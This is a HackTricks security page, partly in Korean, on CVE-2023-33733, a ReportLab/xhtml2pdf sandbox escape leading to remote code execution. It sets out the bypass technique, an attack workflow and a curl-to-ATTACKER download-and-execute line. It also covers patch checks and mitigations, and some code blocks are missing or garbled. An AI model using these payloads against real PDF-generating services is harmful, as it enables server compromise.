ReportLab/xhtml2pdf [[[…]]] 표현식 평가 RCE (CVE-2023-33733)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 페이지는 ReportLab의 rl_safe_eval에서 발생하는 실용적인 샌드박스 탈출 및 RCE 수단을 문서화합니다. 이 취약점은 xhtml2pdf 및 기타 PDF 생성 파이프라인에서 사용자 제어 HTML을 PDF로 렌더링할 때 악용될 수 있습니다.
CVE-2023-33733은 ReportLab 3.6.12까지(포함) 영향을 미칩니다. 특정 속성 컨텍스트(예: color)에서 [[[ … ]]]로 감싼 값은 rl_safe_eval에 의해 서버 측에서 평가됩니다. 화이트리스트된 builtin(pw)에서 시작해 해당 Python 함수의 globals로 피벗하는 페이로드를 만들면, 공격자는 os 모듈에 접근해 명령을 실행할 수 있습니다.
Key points
- Trigger: inject [[[ … ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose globals.
- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string “globals” while avoiding blocked dunder filtering.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Stability: Return a valid value for the attribute after execution (for color, use and ‘red’).
When to test
- Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments.
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- HTTP response for PDF often starts with a ReportLab generator comment
How the sandbox bypass works
- rl_safe_eval removes or replaces many builtins (getattr, type, pow, …) and applies name filtering to deny attributes starting with __ or in a denylist.
- However, safe functions live in a globals dictionary accessible as func.globals.
- Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that:
- .startswith(‘’) → always False (bypass name startswith(‘’) check)
- .eq returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works)
- .hash equals hash(str(self))
- With this, getattr(pow, Word(‘globals’)) returns the globals dict of the wrapped pow function, which includes an imported os module. Then:
['os'].system('<cmd>').
Minimal exploitation pattern (attribute example) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and ‘red’.
- The list-comprehension form allows a single expression acceptable to rl_safe_eval.
- The trailing and ‘red’ returns a valid CSS color so the rendering doesn’t break.
- Replace the command as needed; use ping to validate execution with tcpdump.
Operational workflow
- Identify PDF generator
- PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment.
- Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
- Verify execution with low-noise ICMP
- Run:
sudo tcpdump -ni <iface> icmp - Payload: …
system('ping <your_ip>')… - Windows often sends exactly four echo requests by default.
- Establish a shell
- For Windows, a reliable two-stage approach avoids quoting/encoding issues:
- Stage 1 (download):
- Stage 2 (execute):
- For Linux targets, similar two-stage with curl/wget is possible:
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
Notes and tips
- Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.).
- Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches.
- Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.
Patch status (2024–2025) and identifying backports
- 3.6.13 (27 Apr 2023) rewrote
colors.toColorto an AST-walk parser; newer 4.x releases keep this path. Forcingrl_settings.toColorCanUsetorl_safe_evalorrl_extended_literal_evalre-enables the vulnerable evaluator even on current versions. - Several distributions ship backported fixes while keeping version numbers such as 3.6.12-1+deb12u1; do not rely on the semantic version alone. Grep
colors.pyforast.parseor inspecttoColorat runtime to confirm the safe parser is in use (see quick check below). - Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
완화 및 탐지
- ReportLab을 3.6.13 이상으로 업그레이드하세요 (CVE-2023-33733 수정됨). 배포판 패키지의 보안 권고도 추적하세요.
- 엄격한 입력 검증 및 정화(sanitization) 없이 사용자 제어 HTML/마크업을 xhtml2pdf/ReportLab에 직접 전달하지 마세요. 입력이 신뢰할 수 없는 경우 [[[…]]] 평가 구문과 공급업체 전용 태그를 제거/차단하세요.
- 신뢰할 수 없는 입력에 대해 rl_safe_eval 사용을 완전히 비활성화하거나 래핑하는 것을 고려하세요.
- PDF 생성 중에 의심스러운 아웃바운드 연결을 모니터링하세요(예: 문서 내보내기 시 앱 서버에서 발생하는 ICMP/HTTP).
References
- PoC 및 기술 분석: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (실제 공격 사례, Windows 2단계 페이로드): HTB: University
- NVD 항목(영향 버전): CVE-2023-33733
- xhtml2pdf 문서(마크업/페이지 개념): xhtml2pdf docs
- ReportLab 3.6.13 릴리스 노트 (toColor의 AST 재작성): What’s New in 3.6.13
- Debian 보안 트래커(마이너 버전은 변경되지 않은 채 백포트된 수정 사항 표시): Debian tracker CVE-2023-33733
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


